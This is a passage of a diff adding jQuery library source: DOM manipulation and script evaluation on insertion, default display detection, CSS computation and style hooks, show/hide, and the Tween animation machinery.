+			fragment = jQuery.buildFragment( args, this[ 0 ].ownerDocument, false, this );
+			first = fragment.firstChild;
+
+			if ( fragment.childNodes.length === 1 ) {
+				fragment = first;
+			}
+
+			if ( first ) {
+				scripts = jQuery.map( getAll( fragment, "script" ), disableScript );
+				hasScripts = scripts.length;
+
+				// Use the original fragment for the last item instead of the first because it can end up
+				// being emptied incorrectly in certain situations (#8070).
+				for ( ; i < l; i++ ) {
+					node = fragment;
+
+					if ( i !== iNoClone ) {
+						node = jQuery.clone( node, true, true );
+
+						// Keep references to cloned scripts for later restoration
+						if ( hasScripts ) {
+							// Support: QtWebKit
+							// jQuery.merge because push.apply(_, arraylike) throws
+							jQuery.merge( scripts, getAll( node, "script" ) );
+						}
+					}
+
+					callback.call( this[ i ], node, i );
+				}
+
+				if ( hasScripts ) {
+					doc = scripts[ scripts.length - 1 ].ownerDocument;
+
+					// Reenable scripts
+					jQuery.map( scripts, restoreScript );
+
+					// Evaluate executable scripts on first document insertion
+					for ( i = 0; i < hasScripts; i++ ) {
+						node = scripts[ i ];
+						if ( rscriptType.test( node.type || "" ) &&
+							!data_priv.access( node, "globalEval" ) && jQuery.contains( doc, node ) ) {
+
+							if ( node.src ) {
+								// Optional AJAX dependency, but won't run scripts if not present
+								if ( jQuery._evalUrl ) {
+									jQuery._evalUrl( node.src );
+								}
+							} else {
+								jQuery.globalEval( node.textContent.replace( rcleanScript, "" ) );
+							}
+						}
+					}
+				}
+			}
+		}
+
+		return this;
+	}
+});
+
+jQuery.each({
+	appendTo: "append",
+	prependTo: "prepend",
+	insertBefore: "before",
+	insertAfter: "after",
+	replaceAll: "replaceWith"
+}, function( name, original ) {
+	jQuery.fn[ name ] = function( selector ) {
+		var elems,
+			ret = [],
+			insert = jQuery( selector ),
+			last = insert.length - 1,
+			i = 0;
+
+		for ( ; i <= last; i++ ) {
+			elems = i === last ? this : this.clone( true );
+			jQuery( insert[ i ] )[ original ]( elems );
+
+			// Support: QtWebKit
+			// .get() because push.apply(_, arraylike) throws
+			push.apply( ret, elems.get() );
+		}
+
+		return this.pushStack( ret );
+	};
+});
+
+
+var iframe,
+	elemdisplay = {};
+
+/**
+ * Retrieve the actual display of a element
+ * @param {String} name nodeName of the element
+ * @param {Object} doc Document object
+ */
+// Called only from within defaultDisplay
+function actualDisplay( name, doc ) {
+	var style,
+		elem = jQuery( doc.createElement( name ) ).appendTo( doc.body ),
+
+		// getDefaultComputedStyle might be reliably used only on attached element
+		display = window.getDefaultComputedStyle && ( style = window.getDefaultComputedStyle( elem[ 0 ] ) ) ?
+
+			// Use of this method is a temporary fix (more like optimization) until something better comes along,
+			// since it was removed from specification and supported only in FF
+			style.display : jQuery.css( elem[ 0 ], "display" );
+
+	// We don't have any data stored on the element,
+	// so use "detach" method as fast way to get rid of the element
+	elem.detach();
+
+	return display;
+}
+
+/**
+ * Try to determine the default display value of an element
+ * @param {String} nodeName
+ */
+function defaultDisplay( nodeName ) {
+	var doc = document,
+		display = elemdisplay[ nodeName ];
+
+	if ( !display ) {
+		display = actualDisplay( nodeName, doc );
+
+		// If the simple way fails, read from inside an iframe
+		if ( display === "none" || !display ) {
+
+			// Use the already-created iframe if possible
+			iframe = (iframe || jQuery( "<iframe frameborder='0' width='0' height='0'/>" )).appendTo( doc.documentElement );
+
+			// Always write a new HTML skeleton so Webkit and Firefox don't choke on reuse
+			doc = iframe[ 0 ].contentDocument;
+
+			// Support: IE
+			doc.write();
+			doc.close();
+
+			display = actualDisplay( nodeName, doc );
+			iframe.detach();
+		}
+
+		// Store the correct default display
+		elemdisplay[ nodeName ] = display;
+	}
+
+	return display;
+}
+var rmargin = (/^margin/);
+
+var rnumnonpx = new RegExp( "^(" + pnum + ")(?!px)[a-z%]+$", "i" );
+
+var getStyles = function( elem ) {
+		// Support: IE<=11+, Firefox<=30+ (#15098, #14150)
+		// IE throws on elements created in popups
+		// FF meanwhile throws on frame elements through "defaultView.getComputedStyle"
+		if ( elem.ownerDocument.defaultView.opener ) {
+			return elem.ownerDocument.defaultView.getComputedStyle( elem, null );
+		}
+
+		return window.getComputedStyle( elem, null );
+	};
+
+
+
+function curCSS( elem, name, computed ) {
+	var width, minWidth, maxWidth, ret,
+		style = elem.style;
+
+	computed = computed || getStyles( elem );
+
+	// Support: IE9
+	// getPropertyValue is only needed for .css('filter') (#12537)
+	if ( computed ) {
+		ret = computed.getPropertyValue( name ) || computed[ name ];
+	}
+
+	if ( computed ) {
+
+		if ( ret === "" && !jQuery.contains( elem.ownerDocument, elem ) ) {
+			ret = jQuery.style( elem, name );
+		}
+
+		// Support: iOS < 6
+		// A tribute to the "awesome hack by Dean Edwards"
+		// iOS < 6 (at least) returns percentage for a larger set of values, but width seems to be reliably pixels
+		// this is against the CSSOM draft spec: http://dev.w3.org/csswg/cssom/#resolved-values
+		if ( rnumnonpx.test( ret ) && rmargin.test( name ) ) {
+
+			// Remember the original values
+			width = style.width;
+			minWidth = style.minWidth;
+			maxWidth = style.maxWidth;
+
+			// Put in the new values to get a computed value out
+			style.minWidth = style.maxWidth = style.width = ret;
+			ret = computed.width;
+
+			// Revert the changed values
+			style.width = width;
+			style.minWidth = minWidth;
+			style.maxWidth = maxWidth;
+		}
+	}
+
+	return ret !== undefined ?
+		// Support: IE
+		// IE returns zIndex value as an integer.
+		ret + "" :
+		ret;
+}
+
+
+function addGetHookIf( conditionFn, hookFn ) {
+	// Define the hook, we'll check on the first run if it's really needed.
+	return {
+		get: function() {
+			if ( conditionFn() ) {
+				// Hook not needed (or it's not possible to use it due
+				// to missing dependency), remove it.
+				delete this.get;
+				return;
+			}
+
+			// Hook needed; redefine it so that the support test is not executed again.
+			return (this.get = hookFn).apply( this, arguments );
+		}
+	};
+}
+
+
+(function() {
+	var pixelPositionVal, boxSizingReliableVal,
+		docElem = document.documentElement,
+		container = document.createElement( "div" ),
+		div = document.createElement( "div" );
+
+	if ( !div.style ) {
+		return;
+	}
+
+	// Support: IE9-11+
+	// Style of cloned element affects source element cloned (#8908)
+	div.style.backgroundClip = "content-box";
+	div.cloneNode( true ).style.backgroundClip = "";
+	support.clearCloneStyle = div.style.backgroundClip === "content-box";
+
+	container.style.cssText = "border:0;width:0;height:0;top:0;left:-9999px;margin-top:1px;" +
+		"position:absolute";
+	container.appendChild( div );
+
+	// Executing both pixelPosition & boxSizingReliable tests require only one layout
+	// so they're executed at the same time to save the second computation.
+	function computePixelPositionAndBoxSizingReliable() {
+		div.style.cssText =
+			// Support: Firefox<29, Android 2.3
+			// Vendor-prefix box-sizing
+			"-webkit-box-sizing:border-box;-moz-box-sizing:border-box;" +
+			"box-sizing:border-box;display:block;margin-top:1%;top:1%;" +
+			"border:1px;padding:1px;width:4px;position:absolute";
+		div.innerHTML = "";
+		docElem.appendChild( container );
+
+		var divStyle = window.getComputedStyle( div, null );
+		pixelPositionVal = divStyle.top !== "1%";
+		boxSizingReliableVal = divStyle.width === "4px";
+
+		docElem.removeChild( container );
+	}
+
+	// Support: node.js jsdom
+	// Don't assume that getComputedStyle is a property of the global object
+	if ( window.getComputedStyle ) {
+		jQuery.extend( support, {
+			pixelPosition: function() {
+
+				// This test is executed only once but we still do memoizing
+				// since we can use the boxSizingReliable pre-computing.
+				// No need to check if the test was already performed, though.
+				computePixelPositionAndBoxSizingReliable();
+				return pixelPositionVal;
+			},
+			boxSizingReliable: function() {
+				if ( boxSizingReliableVal == null ) {
+					computePixelPositionAndBoxSizingReliable();
+				}
+				return boxSizingReliableVal;
+			},
+			reliableMarginRight: function() {
+
+				// Support: Android 2.3
+				// Check if div with explicit width and no margin-right incorrectly
+				// gets computed margin-right based on width of container. (#3333)
+				// WebKit Bug 13343 - getComputedStyle returns wrong value for margin-right
+				// This support function is only executed once so no memoizing is needed.
+				var ret,
+					marginDiv = div.appendChild( document.createElement( "div" ) );
+
+				// Reset CSS: box-sizing; display; margin; border; padding
+				marginDiv.style.cssText = div.style.cssText =
+					// Support: Firefox<29, Android 2.3
+					// Vendor-prefix box-sizing
+					"-webkit-box-sizing:content-box;-moz-box-sizing:content-box;" +
+					"box-sizing:content-box;display:block;margin:0;border:0;padding:0";
+				marginDiv.style.marginRight = marginDiv.style.width = "0";
+				div.style.width = "1px";
+				docElem.appendChild( container );
+
+				ret = !parseFloat( window.getComputedStyle( marginDiv, null ).marginRight );
+
+				docElem.removeChild( container );
+				div.removeChild( marginDiv );
+
+				return ret;
+			}
+		});
+	}
+})();
+
+
+// A method for quickly swapping in/out CSS properties to get correct calculations.
+jQuery.swap = function( elem, options, callback, args ) {
+	var ret, name,
+		old = {};
+
+	// Remember the old values, and insert the new ones
+	for ( name in options ) {
+		old[ name ] = elem.style[ name ];
+		elem.style[ name ] = options[ name ];
+	}
+
+	ret = callback.apply( elem, args || [] );
+
+	// Revert the old values
+	for ( name in options ) {
+		elem.style[ name ] = old[ name ];
+	}
+
+	return ret;
+};
+
+
+var
+	// Swappable if display is none or starts with table except "table", "table-cell", or "table-caption"
+	// See here for display values: https://developer.mozilla.org/en-US/docs/CSS/display
+	rdisplayswap = /^(none|table(?!-c[ea]).+)/,
+	rnumsplit = new RegExp( "^(" + pnum + ")(.*)$", "i" ),
+	rrelNum = new RegExp( "^([+-])=(" + pnum + ")", "i" ),
+
+	cssShow = { position: "absolute", visibility: "hidden", display: "block" },
+	cssNormalTransform = {
+		letterSpacing: "0",
+		fontWeight: "400"
+	},
+
+	cssPrefixes = [ "Webkit", "O", "Moz", "ms" ];
+
+// Return a css property mapped to a potentially vendor prefixed property
+function vendorPropName( style, name ) {
+
+	// Shortcut for names that are not vendor prefixed
+	if ( name in style ) {
+		return name;
+	}
+
+	// Check for vendor prefixed names
+	var capName = name[0].toUpperCase() + name.slice(1),
+		origName = name,
+		i = cssPrefixes.length;
+
+	while ( i-- ) {
+		name = cssPrefixes[ i ] + capName;
+		if ( name in style ) {
+			return name;
+		}
+	}
+
+	return origName;
+}
+
+function setPositiveNumber( elem, value, subtract ) {
+	var matches = rnumsplit.exec( value );
+	return matches ?
+		// Guard against undefined "subtract", e.g., when used as in cssHooks
+		Math.max( 0, matches[ 1 ] - ( subtract || 0 ) ) + ( matches[ 2 ] || "px" ) :
+		value;
+}
+
+function augmentWidthOrHeight( elem, name, extra, isBorderBox, styles ) {
+	var i = extra === ( isBorderBox ? "border" : "content" ) ?
+		// If we already have the right measurement, avoid augmentation
+		4 :
+		// Otherwise initialize for horizontal or vertical properties
+		name === "width" ? 1 : 0,
+
+		val = 0;
+
+	for ( ; i < 4; i += 2 ) {
+		// Both box models exclude margin, so add it if we want it
+		if ( extra === "margin" ) {
+			val += jQuery.css( elem, extra + cssExpand[ i ], true, styles );
+		}
+
+		if ( isBorderBox ) {
+			// border-box includes padding, so remove it if we want content
+			if ( extra === "content" ) {
+				val -= jQuery.css( elem, "padding" + cssExpand[ i ], true, styles );
+			}
+
+			// At this point, extra isn't border nor margin, so remove border
+			if ( extra !== "margin" ) {
+				val -= jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles );
+			}
+		} else {
+			// At this point, extra isn't content, so add padding
+			val += jQuery.css( elem, "padding" + cssExpand[ i ], true, styles );
+
+			// At this point, extra isn't content nor padding, so add border
+			if ( extra !== "padding" ) {
+				val += jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles );
+			}
+		}
+	}
+
+	return val;
+}
+
+function getWidthOrHeight( elem, name, extra ) {
+
+	// Start with offset property, which is equivalent to the border-box value
+	var valueIsBorderBox = true,
+		val = name === "width" ? elem.offsetWidth : elem.offsetHeight,
+		styles = getStyles( elem ),
+		isBorderBox = jQuery.css( elem, "boxSizing", false, styles ) === "border-box";
+
+	// Some non-html elements return undefined for offsetWidth, so check for null/undefined
+	// svg - https://bugzilla.mozilla.org/show_bug.cgi?id=649285
+	// MathML - https://bugzilla.mozilla.org/show_bug.cgi?id=491668
+	if ( val <= 0 || val == null ) {
+		// Fall back to computed then uncomputed css if necessary
+		val = curCSS( elem, name, styles );
+		if ( val < 0 || val == null ) {
+			val = elem.style[ name ];
+		}
+
+		// Computed unit is not pixels. Stop here and return.
+		if ( rnumnonpx.test(val) ) {
+			return val;
+		}
+
+		// Check for style in case a browser which returns unreliable values
+		// for getComputedStyle silently falls back to the reliable elem.style
+		valueIsBorderBox = isBorderBox &&
+			( support.boxSizingReliable() || val === elem.style[ name ] );
+
+		// Normalize "", auto, and prepare for extra
+		val = parseFloat( val ) || 0;
+	}
+
+	// Use the active box-sizing model to add/subtract irrelevant styles
+	return ( val +
+		augmentWidthOrHeight(
+			elem,
+			name,
+			extra || ( isBorderBox ? "border" : "content" ),
+			valueIsBorderBox,
+			styles
+		)
+	) + "px";
+}
+
+function showHide( elements, show ) {
+	var display, elem, hidden,
+		values = [],
+		index = 0,
+		length = elements.length;
+
+	for ( ; index < length; index++ ) {
+		elem = elements[ index ];
+		if ( !elem.style ) {
+			continue;
+		}
+
+		values[ index ] = data_priv.get( elem, "olddisplay" );
+		display = elem.style.display;
+		if ( show ) {
+			// Reset the inline display of this element to learn if it is
+			// being hidden by cascaded rules or not
+			if ( !values[ index ] && display === "none" ) {
+				elem.style.display = "";
+			}
+
+			// Set elements which have been overridden with display: none
+			// in a stylesheet to whatever the default browser style is
+			// for such an element
+			if ( elem.style.display === "" && isHidden( elem ) ) {
+				values[ index ] = data_priv.access( elem, "olddisplay", defaultDisplay(elem.nodeName) );
+			}
+		} else {
+			hidden = isHidden( elem );
+
+			if ( display !== "none" || !hidden ) {
+				data_priv.set( elem, "olddisplay", hidden ? display : jQuery.css( elem, "display" ) );
+			}
+		}
+	}
+
+	// Set the display of most of the elements in a second loop
+	// to avoid the constant reflow
+	for ( index = 0; index < length; index++ ) {
+		elem = elements[ index ];
+		if ( !elem.style ) {
+			continue;
+		}
+		if ( !show || elem.style.display === "none" || elem.style.display === "" ) {
+			elem.style.display = show ? values[ index ] || "" : "none";
+		}
+	}
+
+	return elements;
+}
+
+jQuery.extend({
+
+	// Add in style property hooks for overriding the default
+	// behavior of getting and setting a style property
+	cssHooks: {
+		opacity: {
+			get: function( elem, computed ) {
+				if ( computed ) {
+
+					// We should always get a number back from opacity
+					var ret = curCSS( elem, "opacity" );
+					return ret === "" ? "1" : ret;
+				}
+			}
+		}
+	},
+
+	// Don't automatically add "px" to these possibly-unitless properties
+	cssNumber: {
+		"columnCount": true,
+		"fillOpacity": true,
+		"flexGrow": true,
+		"flexShrink": true,
+		"fontWeight": true,
+		"lineHeight": true,
+		"opacity": true,
+		"order": true,
+		"orphans": true,
+		"widows": true,
+		"zIndex": true,
+		"zoom": true
+	},
+
+	// Add in properties whose names you wish to fix before
+	// setting or getting the value
+	cssProps: {
+		"float": "cssFloat"
+	},
+
+	// Get and set the style property on a DOM Node
+	style: function( elem, name, value, extra ) {
+
+		// Don't set styles on text and comment nodes
+		if ( !elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style ) {
+			return;
+		}
+
+		// Make sure that we're working with the right name
+		var ret, type, hooks,
+			origName = jQuery.camelCase( name ),
+			style = elem.style;
+
+		name = jQuery.cssProps[ origName ] || ( jQuery.cssProps[ origName ] = vendorPropName( style, origName ) );
+
+		// Gets hook for the prefixed version, then unprefixed version
+		hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ];
+
+		// Check if we're setting a value
+		if ( value !== undefined ) {
+			type = typeof value;
+
+			// Convert "+=" or "-=" to relative numbers (#7345)
+			if ( type === "string" && (ret = rrelNum.exec( value )) ) {
+				value = ( ret[1] + 1 ) * ret[2] + parseFloat( jQuery.css( elem, name ) );
+				// Fixes bug #9237
+				type = "number";
+			}
+
+			// Make sure that null and NaN values aren't set (#7116)
+			if ( value == null || value !== value ) {
+				return;
+			}
+
+			// If a number, add 'px' to the (except for certain CSS properties)
+			if ( type === "number" && !jQuery.cssNumber[ origName ] ) {
+				value += "px";
+			}
+
+			// Support: IE9-11+
+			// background-* props affect original clone's values
+			if ( !support.clearCloneStyle && value === "" && name.indexOf( "background" ) === 0 ) {
+				style[ name ] = "inherit";
+			}
+
+			// If a hook was provided, use that value, otherwise just set the specified value
+			if ( !hooks || !("set" in hooks) || (value = hooks.set( elem, value, extra )) !== undefined ) {
+				style[ name ] = value;
+			}
+
+		} else {
+			// If a hook was provided get the non-computed value from there
+			if ( hooks && "get" in hooks && (ret = hooks.get( elem, false, extra )) !== undefined ) {
+				return ret;
+			}
+
+			// Otherwise just get the value from the style object
+			return style[ name ];
+		}
+	},
+
+	css: function( elem, name, extra, styles ) {
+		var val, num, hooks,
+			origName = jQuery.camelCase( name );
+
+		// Make sure that we're working with the right name
+		name = jQuery.cssProps[ origName ] || ( jQuery.cssProps[ origName ] = vendorPropName( elem.style, origName ) );
+
+		// Try prefixed name followed by the unprefixed name
+		hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ];
+
+		// If a hook was provided get the computed value from there
+		if ( hooks && "get" in hooks ) {
+			val = hooks.get( elem, true, extra );
+		}
+
+		// Otherwise, if a way to get the computed value exists, use that
+		if ( val === undefined ) {
+			val = curCSS( elem, name, styles );
+		}
+
+		// Convert "normal" to computed value
+		if ( val === "normal" && name in cssNormalTransform ) {
+			val = cssNormalTransform[ name ];
+		}
+
+		// Make numeric if forced or a qualifier was provided and val looks numeric
+		if ( extra === "" || extra ) {
+			num = parseFloat( val );
+			return extra === true || jQuery.isNumeric( num ) ? num || 0 : val;
+		}
+		return val;
+	}
+});
+
+jQuery.each([ "height", "width" ], function( i, name ) {
+	jQuery.cssHooks[ name ] = {
+		get: function( elem, computed, extra ) {
+			if ( computed ) {
+
+				// Certain elements can have dimension info if we invisibly show them
+				// but it must have a current display style that would benefit
+				return rdisplayswap.test( jQuery.css( elem, "display" ) ) && elem.offsetWidth === 0 ?
+					jQuery.swap( elem, cssShow, function() {
+						return getWidthOrHeight( elem, name, extra );
+					}) :
+					getWidthOrHeight( elem, name, extra );
+			}
+		},
+
+		set: function( elem, value, extra ) {
+			var styles = extra && getStyles( elem );
+			return setPositiveNumber( elem, value, extra ?
+				augmentWidthOrHeight(
+					elem,
+					name,
+					extra,
+					jQuery.css( elem, "boxSizing", false, styles ) === "border-box",
+					styles
+				) : 0
+			);
+		}
+	};
+});
+
+// Support: Android 2.3
+jQuery.cssHooks.marginRight = addGetHookIf( support.reliableMarginRight,
+	function( elem, computed ) {
+		if ( computed ) {
+			return jQuery.swap( elem, { "display": "inline-block" },
+				curCSS, [ elem, "marginRight" ] );
+		}
+	}
+);
+
+// These hooks are used by animate to expand properties
+jQuery.each({
+	margin: "",
+	padding: "",
+	border: "Width"
+}, function( prefix, suffix ) {
+	jQuery.cssHooks[ prefix + suffix ] = {
+		expand: function( value ) {
+			var i = 0,
+				expanded = {},
+
+				// Assumes a single number if not a string
+				parts = typeof value === "string" ? value.split(" ") : [ value ];
+
+			for ( ; i < 4; i++ ) {
+				expanded[ prefix + cssExpand[ i ] + suffix ] =
+					parts[ i ] || parts[ i - 2 ] || parts[ 0 ];
+			}
+
+			return expanded;
+		}
+	};
+
+	if ( !rmargin.test( prefix ) ) {
+		jQuery.cssHooks[ prefix + suffix ].set = setPositiveNumber;
+	}
+});
+
+jQuery.fn.extend({
+	css: function( name, value ) {
+		return access( this, function( elem, name, value ) {
+			var styles, len,
+				map = {},
+				i = 0;
+
+			if ( jQuery.isArray( name ) ) {
+				styles = getStyles( elem );
+				len = name.length;
+
+				for ( ; i < len; i++ ) {
+					map[ name[ i ] ] = jQuery.css( elem, name[ i ], false, styles );
+				}
+
+				return map;
+			}
+
+			return value !== undefined ?
+				jQuery.style( elem, name, value ) :
+				jQuery.css( elem, name );
+		}, name, value, arguments.length > 1 );
+	},
+	show: function() {
+		return showHide( this, true );
+	},
+	hide: function() {
+		return showHide( this );
+	},
+	toggle: function( state ) {
+		if ( typeof state === "boolean" ) {
+			return state ? this.show() : this.hide();
+		}
+
+		return this.each(function() {
+			if ( isHidden( this ) ) {
+				jQuery( this ).show();
+			} else {
+				jQuery( this ).hide();
+			}
+		});
+	}
+});
+
+
+function Tween( elem, options, prop, end, easing ) {
+	return new Tween.prototype.init( elem, options, prop, end, easing );
+}
+jQuery.Tween = Tween;
+
+Tween.prototype = {
+	constructor: Tween,
+	init: function( elem, options, prop, end, easing, unit ) {
+		this.elem = elem;
+		this.prop = prop;
+		this.easing = easing || "swing";
+		this.options = options;
+		this.start = this.now = this.cur();
+		this.end = end;
+		this.unit = unit || ( jQuery.cssNumber[ prop ] ? "" : "px" );
+	},
+	cur: function() {
+		var hooks = Tween.propHooks[ this.prop ];
+
+		return hooks && hooks.get ?
+			hooks.get( this ) :
+			Tween.propHooks._default.get( this );
+	},
+	run: function( percent ) {
+		var eased,
+			hooks = Tween.propHooks[ this.prop ];
+
+		if ( this.options.duration ) {
+			this.pos = eased = jQuery.easing[ this.easing ](
+				percent, this.options.duration * percent, 0, 1, this.options.duration
+			);
+		} else {
+			this.pos = eased = percent;
+		}
+		this.now = ( this.end - this.start ) * eased + this.start;
+
+		if ( this.options.step ) {
+			this.options.step.call( this.elem, this.now, this );
+		}
+
+		if ( hooks && hooks.set ) {
+			hooks.set( this );
+		} else {
+			Tween.propHooks._default.set( this );
+		}
+		return this;
+	}
+};
+
+Tween.prototype.init.prototype = Tween.prototype;
+
+Tween.propHooks = {
+	_default: {
+		get: function( tween ) {
+			var result;
+
+			if ( tween.elem[ tween.prop ] != null &&
+				(!tween.elem.style || tween.elem.style[ tween.prop ] == null) ) {
+				return tween.elem[ tween.prop ];
+			}
+
+			// Passing an empty string as a 3rd parameter to .css will automatically
+			// attempt a parseFloat and fallback to a string if the parse fails.
+			// Simple values such as "10px" are parsed to Float;
+			// complex values such as "rotate(1rad)" are returned as-is.
+			result = jQuery.css( tween.elem, tween.prop, "" );
+			// Empty strings, null, undefined and "auto" are converted to 0.
+			return !result || result === "auto" ? 0 : result;
+		},
+		set: function( tween ) {
+			// Use step hook for back compat.
+			// Use cssHook if its there.
+			// Use .style if available and use plain properties where available.
+			if ( jQuery.fx.step[ tween.prop ] ) {
+				jQuery.fx.step[ tween.prop ]( tween );
+			} else if ( tween.elem.style && ( tween.elem.style[ jQuery.cssProps[ tween.prop ] ] != null || jQuery.cssHooks[ tween.prop ] ) ) {
+				jQuery.style( tween.elem, tween.prop, tween.now + tween.unit );
+			} else {
+				tween.elem[ tween.prop ] = tween.now;
+			}
+		}
+	}
+};
+
+// Support: IE9
+// Panic based approach to setting things on disconnected nodes
+Tween.propHooks.scrollTop = Tween.propHooks.scrollLeft = {
+	set: function( tween ) {
+		if ( tween.elem.nodeType && tween.elem.parentNode ) {
+			tween.elem[ tween.prop ] = tween.now;
+		}
+	}
+};
+
+jQuery.easing = {
+	linear: function( p ) {
+		return p;
+	},
+	swing: function( p ) {
+		return 0.5 - Math.cos( p * Math.PI ) / 2;
+	}
+};
+
+jQuery.fx = Tween.prototype.init;
+
+// Back Compat <1.8 extension point
+jQuery.fx.step = {};
+
+
+
+
+var
+	fxNow, timerId,
+	rfxtypes = /^(?:toggle|show|hide)$/,
+	rfxnum = new RegExp( "^(?:([+-])=|)(" + pnum + ")([a-z%]*)$", "i" ),
+	rrun = /queueHooks$/,
+	animationPrefilters = [ defaultPrefilter ],
+	tweeners = {
+		"*": [ function( prop, value ) {
+			var tween = this.createTween( prop, value ),
+				target = tween.cur(),
+				parts = rfxnum.exec( value ),
+				unit = parts && parts[ 3 ] || ( jQuery.cssNumber[ prop ] ? "" : "px" ),
+
+				// Starting value computation is required for potential unit mismatches
+				start = ( jQuery.cssNumber[ prop ] || unit !== "px" && +target ) &&
+					rfxnum.exec( jQuery.css( tween.elem, prop ) ),
+				scale = 1,
+				maxIterations = 20;
+
+			if ( start && start[ 3 ] !== unit ) {
+				// Trust units reported by jQuery.css
+				unit = unit || start[ 3 ];
+
+				// Make sure we update the tween properties later on
+				parts = parts || [];
+
+				// Iteratively approximate from a nonzero starting point
+				start = +target || 1;
+
+				do {
+					// If previous iteration zeroed out, double until we get *something*.
+					// Use string for doubling so we don't accidentally see scale as unchanged below
+					scale = scale || ".5";
+
+					// Adjust and apply
+					start = start / scale;
+					jQuery.style( tween.elem, prop, start + unit );
+
+				// Update scale, tolerating zero or NaN from tween.cur(),
+				// break the loop if scale is unchanged or perfect, or if we've just had enough
+				} while ( scale !== (scale = tween.cur() / target) && scale !== 1 && --maxIterations );
+			}
+
+			// Update tween properties
+			if ( parts ) {
+				start = tween.start = +start || +target || 0;
+				tween.unit = unit;
+				// If a +=/-= token was provided, we're doing a relative animation
+				tween.end = parts[ 1 ] ?
+					start + ( parts[ 1 ] + 1 ) * parts[ 2 ] :
+					+parts[ 2 ];
+			}
+
+			return tween;
+		} ]
+	};
+
+// Animations created synchronously will run synchronously
+function createFxNow() {
+	setTimeout(function() {
+		fxNow = undefined;
+	});
+	return ( fxNow = jQuery.now() );
+}
+
+// Generate parameters to create a standard animation
+function genFx( type, includeWidth ) {
+	var which,
+		i = 0,
+		attrs = { height: type };
+
+	// If we include width, step value is 1 to do all cssExpand values,
+	// otherwise step value is 2 to skip over Left and Right
+	includeWidth = includeWidth ? 1 : 0;
+	for ( ; i < 4 ; i += 2 - includeWidth ) {
+		which = cssExpand[ i ];
+		attrs[ "margin" + which ] = attrs[ "padding" + which ] = type;
+	}
+
+	if ( includeWidth ) {
+		attrs.opacity = attrs.width = type;
+	}
+
+	return attrs;
+}
+
+function createTween( value, prop, animation ) {
+	var tween,
+		collection = ( tweeners[ prop ] || [] ).concat( tweeners[ "*" ] ),
+		index = 0,
+		length = collection.length;
+	for ( ; index < length; index++ ) {
+		if ( (tween = collection[ index ].call( animation, prop, value )) ) {
+
+			// We're done with this property
+			return tween;
+		}
+	}
+}
+
+function defaultPrefilter( elem, props, opts ) {
+	/* jshint validthis: true */
+	var prop, value, toggle, tween, hooks, oldfire, display, checkDisplay,
+		anim = this,
+		orig = {},
+		style = elem.style,
+		hidden = elem.nodeType && isHidden( elem ),
+		dataShow = data_priv.get( elem, "fxshow" );
+
+	// Handle queue: false promises
+	if ( !opts.queue ) {
+		hooks = jQuery._queueHooks( elem, "fx" );
+		if ( hooks.unqueued == null ) {
+			hooks.unqueued = 0;
+			oldfire = hooks.empty.fire;
+			hooks.empty.fire = function() {
+				if ( !hooks.unqueued ) {
+					oldfire();
+				}
+			};
+		}
+		hooks.unqueued++;
+
+		anim.always(function() {
+			// Ensure the complete handler is called before this completes
+			anim.always(function() {
+				hooks.unqueued--;
+				if ( !jQuery.queue( elem, "fx" ).length ) {
+					hooks.empty.fire();
+				}
+			});
+		});
+	}
+
+	// Height/width overflow pass
+	if ( elem.nodeType === 1 && ( "height" in props || "width" in props ) ) {
+		// Make sure that nothing sneaks out
+		// Record all 3 overflow attributes because IE9-10 do not
+		// change the overflow attribute when overflowX and
+		// overflowY are set to the same value
+		opts.overflow = [ style.overflow, style.overflowX, style.overflowY ];
+
+		// Set display property to inline-block for height/width
+		// animations on inline elements that are having width/height animated
+		display = jQuery.css( elem, "display" );
+
+		// Test default display if display is currently "none"
+		checkDisplay = display === "none" ?
+			data_priv.get( elem, "olddisplay" ) || defaultDisplay( elem.nodeName ) : display;
+
+		if ( checkDisplay === "inline" && jQuery.css( elem, "float" ) === "none" ) {
+			style.display = "inline-block";
+		}
+	}
+
+	if ( opts.overflow ) {
+		style.overflow = "hidden";
+		anim.always(function() {
+			style.overflow = opts.overflow[ 0 ];
+			style.overflowX = opts.overflow[ 1 ];
+			style.overflowY = opts.overflow[ 2 ];
+		});
+	}
+
+	// show/hide pass
+	for ( prop in props ) {
+		value = props[ prop ];
+		if ( rfxtypes.exec( value ) ) {
+			delete props[ prop ];
+			toggle = toggle || value === "toggle";
+			if ( value === ( hidden ? "hide" : "show" ) ) {
+
+				// If there is dataShow left over from a stopped hide or show and we are going to proceed with show, we should pretend to be hidden
+				if ( value === "show" && dataShow && dataShow[ prop ] !== undefined ) {
+					hidden = true;
+				} else {
+					continue;
+				}
+			}
+			orig[ prop ] = dataShow && dataShow[ prop ] || jQuery.style( elem, prop );
+
+		// Any non-fx value stops us from restoring the original display value
+		} else {
+			display = undefined;
+		}
+	}
+
+	if ( !jQuery.isEmptyObject( orig ) ) {
+		if ( dataShow ) {
+			if ( "hidden" in dataShow ) {
+				hidden = dataShow.hidden;
+			}
+		} else {
+			dataShow = data_priv.access( elem, "fxshow", {} );
+		}
+
+		// Store state if its toggle - enables .stop().toggle() to "reverse"
+		if ( toggle ) {
+			dataShow.hidden = !hidden;
+		}
+		if ( hidden ) {
+			jQuery( elem ).show();
+		} else {
+			anim.done(function() {
+				jQuery( elem ).hide();
+			});
+		}
+		anim.done(function() {
+			var prop;
+
+			data_priv.remove( elem, "fxshow" );
+			for ( prop in orig ) {
+				jQuery.style( elem, prop, orig[ prop ] );
+			}
+		});
+		for ( prop in orig ) {
+			tween = createTween( hidden ? dataShow[ prop ] : 0, prop, anim );
+
+			if ( !( prop in dataShow ) ) {
+				dataShow[ prop ] = tween.start;
+				if ( hidden ) {
+					tween.end = tween.start;
+					tween.start = prop === "width" || prop === "height" ? 1 : 0;
+				}
+			}
+		}
+
+	// If this is a noop like .hide().hide(), restore an overwritten display value
+	} else if ( (display === "none" ? defaultDisplay( elem.nodeName ) : display) === "inline" ) {
+		style.display = display;
+	}
+}
+
+function propFilter( props, specialEasing ) {
+	var index, name, easing, value, hooks;
+
+	// camelCase, specialEasing and expand cssHook pass
+	for ( index in props ) {
+		name = jQuery.camelCase( index );
+		easing = specialEasing[ name ];
+		value = props[ index ];
+		if ( jQuery.isArray( value ) ) {
+			easing = value[ 1 ];
+			value = props[ index ] = value[ 0 ];
+		}
+
+		if ( index !== name ) {
+			props[ name ] = value;
+			delete props[ index ];
+		}
+
